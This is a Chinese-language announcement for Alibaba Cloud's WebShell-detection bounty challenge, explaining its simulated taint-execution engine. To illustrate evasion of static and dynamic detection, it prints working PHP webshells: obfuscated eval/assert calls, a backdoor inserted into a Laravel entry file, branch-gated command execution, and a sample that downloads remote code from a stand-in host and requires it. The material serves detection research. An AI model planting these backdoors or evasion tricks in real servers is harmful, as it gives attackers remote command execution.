“伏魔”赏金 ｜ WebShell检测之「模拟污点引擎」首次公测，邀你来战！

 

安全是一个动态的过程，攻防对抗如同在赛博世界里降妖伏魔，其要义是：取彼之长，补己之短。
——伏魔引擎的诞生

 

伏魔引擎挑战赛

注册时间: 2022.01.10 00:00:00 – 2022.01.24 10:00:00(UTC +8)
比赛时间: 2022.01.17 10:00:00 – 2022.01.24 10:00:00(UTC +8)
主办方: 薪火实验室 & 云安全中心 & ASRC
比赛奖金：比赛奖金：1000 RMB/份有效报告（中国区用户）、150 USD/份有效报告（面向海外用户），赛事组在中场会视赛事情况提升奖金额度。
面向群体：国内、国外白帽群体

活动网址：https://security.alibaba.com/online/detail?type=1&id=114&tab=1

 

公测背景：

伏魔引擎挑战赛是阿里云安全“宙斯计划——恶意文本检测挑战赛”的延续，整合了宙斯计划近4次公测活动中，2000+安全专家和白帽子们贡献的对抗样本。

作为Webshell检测的集大成者，伏魔(fomo)引擎集静态检测+AI检测+动态沙箱执行检测等多种综合手段为一体，加之锤炼已近2年，新开放公测的模拟污点执行引擎，给挑战者以更高的赏金、更丰富的靶场、更大的舞台，让更多安全专家齐聚一堂探索Webshell攻防领域高峰。

本届活动，我们同时开通了国内和国外的提交通道，同时还邀请了长亭 RealWorld参赛选手。欢迎海内外白帽共襄盛会。

 

模拟污点检测首度公测

在打磨检测引擎的过程中，我们逐渐意识到传统静态检测和动态检测的困境。基于上千种不同类型的对抗样本，我们打磨出模拟污点执行引擎，它既可以有效应对高级对抗手法，又能有效降低误报率。
要想理解什么是模拟污点执行检测，需要先了解两个概念。解释性脚本语言的执行过程和污点传播检测原理。

PHP执行过程

以PHP为例，脚本语言执行的过程如下：

PHP源代码会经过词法、语法的分析形成抽象语法树(AST)，然后解析AST，生成opcodes，最后依次执行opcodes。在这个过程中，所有的源代码都会生成AST。

<?php
$fa = new SplFixedArray($_GET["num"]);
$fa[0] = $_GET["cmd"];
eval($fa->toArray()[0]);
?>

污点传递

污点分析就是分析程序中由污点源引入的数据，在经过数据流处理，传播到污点汇聚点后，是否符合预设的策略。对于Webshell的定义而言，这个策略就是外部可控的值，能否传递进危险函数，从而达到任意代码执行、命令执行的目的。

传统的词法引擎检测方案

PHP源代码会产生AST。通过对AST树进行遍历，可以将$_GET、$_POST等外部可控的变量标记成污点，直至污点传递至危险函数。

但是这种检测方案会产生漏报。以下面代码为例：

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

遇到代码执行、条件判断、函数调用等操作，在AST上仅仅展示一个节点，无法拿到隐藏的恶意代码信息，也就无法进行检测。

面向高对抗样本的模拟污点检测

而模拟污点检测引擎不只是在原始AST树上进行遍历，而是对每个节点进行模拟执行。

这样做的优势是不需要修改原有的zend引擎来适配检测的逻辑，而是专门面向高对抗样本定制的策略。下面我将举个例子，来说明这种方案的优越性。

<?php
// a=whoami

$l = strlen(number_format(-0.01));

substr("11system", $l, 6)($_GET['a']);

number_format函数是7.2版本的不兼容变更，这就意味着此webshell只能运行在php7.2以下的版本。如果动态沙箱为7.2及其以上，则无法计算出恶意代码，从而产生漏报。

除此之外，模拟污点引擎还添加了大量推理执行逻辑，当攻击者有意对抗时，会进行污点传播。
模拟污点引擎的本质是尽量让恶意特征暴露出来：
能直接执行的样本直接运行；不能直接执行的样本模拟执行；不能模拟执行的样本继续推理执行。
看完了模拟污点引擎的优越性，下面我们谈一谈传统静态、动态检测方案的困境。

 

静态检测难以应对未知威胁

纯静态检测是最早的文本检测手段，自诞生起直到现在还在被大量应用。但其实静态检测的效果取决于对文本特征的提取，特征的维度直接决定误报率和漏报率。在这个章节，我们主要讨论纯源码规则的静态匹配，不包括对文本进行提取AST、opcode等特征再进行静态匹配的情况。

主流的静态检测方法具备检测速度快，普适性好（跨平台、跨版本、跨语言等），实现成本低（理论上只要是黑样本，都可以写规则覆盖）的特点；然而，由于缺乏词法、语法的约束，更易产生误报，同时缺乏对抗性和技术壁垒的特点，使得此类型检测算法在遇到加壳、加密、混淆样本时难以检出，无法形成差异化优势。

正则表达式匹配易误报

<?php 
eval($_POST['shell']);

对于上面的Webshell可以直接写正则表达式进行文本匹配：

(eval|system)\(\$_(POST|GET|REQUEST)\[

利用正则表达式可以很容易对已知恶意样本进行匹配，但缺点也很明显，正则表达式无法进行词法、语法的约束，匹配到的文本不一定能正确的执行。

<?php 
eval($_POST['

如上述代码也会被规则匹配到。

算法二分类检测难以识别混淆对抗

脚本语言具有较强的灵活性，可以进行编码、加壳等混淆代码操作，躲避正则表达式的检测，从而形成漏报。

<?php
function test(){
    $a = base64_decode("YXNzZXJ0");
    $b = "$_GET[1]";
    $a($b);
}
test();
?>

对于上述的Webshell代码，除了写正则表达式检测外，不考虑语义信息，最简单的办法就是用分割符分词，产生词向量。交给算法(机器学习、深度学习)，利用大量黑白样本去数据拟合，从而达到检测的目的。

这种方案存在明显不足，对于0day样本(从未在测试集内出现)的场景，无法检出。而攻防本身就对抗激烈，攻击者会事先构造高对抗的Webshell样本，尝试绕过检测引擎。

 

动态检测环境依赖度高

当对恶意文本的静态特征提取足够准确时，是较为容易检出的。但攻击者通常会采用代码混淆(加壳、编码、加密)阻碍提取特征，所以就需要动态运行跑出所有的特征，从而进行检测。

动态检测算法技术难度高，可以实现更高级复杂的检测技术，同时因真实执行，恶意代码符合语法、词法约束，不强制干预情况下误报极低。然而，由于真实执行需要对整个运行环境进行仿真和定制设计，存在成本高、检测效率低、兼容性差的问题。

以PHP为例，将phpinfo();代码进行编码并加壳混淆。

可以看到混淆成这样，静态检测是很难写规则的，如只针对特定的函数调用进行匹配，那么就会产生误报。所以需要动态执行，将隐藏的特征暴露出来，从而达到检测的目标。通过PHP VLD插件可以拿到PHP生成的OPCODE以及动态运行下的OPCODE调用。

可以看到该样本实际调用了phpinfo，通过动态运行，可以更加精准的检测样本。但不加干扰的动态执行，会遇到各种对抗的挑战。不难理解，攻击者通过构造各种条件，让动态沙箱无法将样本正常运行下去，从而躲避检测。

困境1:缺乏依赖无法运行

PHP、JSP等脚本语言可以通过include语法，引入库函数至当前作用域进行调用。动态沙箱只能拿到当前页面的代码进行运行，从而缺乏依赖，无法正常运行。

<?php
/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$a=array($_REQUEST['yydsyyds1']=>"3");

$b=array_keys($a)[0];

eval($b);

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);

这类样本又称为插马(在正常的文件内插入Webshell代码)。一方面在服务器上无新增落盘文件，躲避检测；另一方面可以有效避免沙箱“重放”运行。此样本单独运行，会因找不到依赖报错终止运行。需要对异常等函数调用进行特殊处理才能够将特征暴露出来。

困境2:对抗手段多，引入新攻击面

攻击者会使用分支等绕过手段，根据某外部传入参数，决定某IF条件的判断结果，防止动态沙箱的重录。

示例1- 分支对抗

// 分支对抗
<?php

if($_GET['pass']=="admin") {
    if($_GET['normal'] == "1"){
      $a =  "echo normal" ; // 分支 1
  }else if ($_GET['evil'] == "1") {
      $a = $_GET['cmd']; //  分支 2
  }
}else
{
    $a = "echo normal"; //分支3
}
system($a);
?>

只有当外部传入GET参数 webshell.php?pass=admin&evil=1&cmd=whoami时，才能执行分支2的恶意代码。

动态沙箱拿不到外部的输入，只能执行到分支3的默认逻辑，从而绕过检测。

示例2- 网络对抗

// 网络对抗
<?php
copy("http://webshell.com/1.png",'2.png');
if($_GET['abc']=='firefox'){
    require '2.png';
}
else{
    echo "no file";
}
c();

绝大多数动态沙箱，会进行断网处理，目的是为了安全可控，防止攻击者攻击沙箱。但这种措施同时会引入新的攻击面。攻击者可以将恶意代码藏在远程资源，通过请求远程资源获得恶意代码并执行。

困境3:版本碎片化严重

以PHP和JSP举例，PHP的主流版本为PHP5、PHP7、PHP8，JSP的主流版本为JDK1.6、JDK1.7、JDK1.8、JDK1.9、JDK10、JDK11、JDK12、JDK13、JDK14、Tomcat7、Tomcat8、Tomcat9、Tomcat10。每个版本都具有新特征的增加或者旧版本的遗弃，这样带来的直接问题，防御者需要为每一个版本定制动态沙箱，工程量巨大且难以维护。可以看到下面的Webshell代码，在每个php版本的写法都不一致。

<?php // php5&php7兼容写法
        ${$_GET['var_name']}=$_GET['cmd']; 
        system($a); // $a如何确定有没有赋值？
?>

<?php //php5写法，与php7不兼容
        $$_GET['var_name']=$_GET['cmd'];
        system($a);
?>

业内通用做法-执行强制干预

以PHP举例，业内对于上述对抗惯用的做法是，通过Hook PHP的执行函数和Opcode达到强制干预执行流、处理异常等行为。

这种方案遇到新版本的特征，通过修改zend引擎需要不断兼容，工程量巨大。同时如果暴力的进行执行干预、污点传递，容易产生大量误报。

 

模拟污点检测实现漏/误报的平衡

从“误报”的种类区分，共有两种类型。

•业务性误报：这种类型的误报顾名思义，开发者部署正常的业务代码，检测引擎将其识别为“Webshell”，这个原因是检测引擎对误报的控制程度不够。

•构造性误报：在攻防对抗中，攻击者在尝试构造绕过样本中触发的异常检测点，又或者是在特定版本比较苛刻的利用条件。较业务性误报而言，构造性“误报”大多为对抗过程中的异常层。

这一类型的误报，在实际的业务场景中，开发者不会写这种类型的代码，不会产生业务性误报。举个例子：

<?php
eval($a);  
?>

php 5.3以下版本register_globals默认开启的全局变量配置，url请求?a=phpinfo();即可利用。但是5.3以下版本不是主流版本，一些缺乏安全经验的人第一眼看到此代码以为是误报。

安全是动态博弈的过程，在过度追求高检出的同时，也会引入大量误报。
模拟污点检测的最大优势在于有利于平衡误报和漏报，引擎内置了各种降误报的机制，同时模拟较为真实的运行结果，极大降低了误报率。Webshell检测能力作为基础的云安全能力，服务阿里云的广大客户，如果业务性误报过多，将极大影响客户的使用。

对于客户而言，我们通过市场化、公平公开的赏金挑战赛方式，让旗下安全产品直接接受行业生态的检验，客户在选择产品的时候，可以综合考虑该产品的赏金测评结果，从而做出更好的购买决策。
对于安全产品而言，尤其是攻防类产品，它不是一个静止不变的实体商品，它从研发、交付、到后期维护，本身是一个不断动态变化的实体，需要不断的通过内部视角、外部视角去锤炼安全能力。
对于行业而言，赏金挑战赛不是一锤子买卖，一次锣鼓喧天搞完就结束，而是要长期持续举办。能力强不是自己说说而已，能力水位需要得到外部视角的不断验证。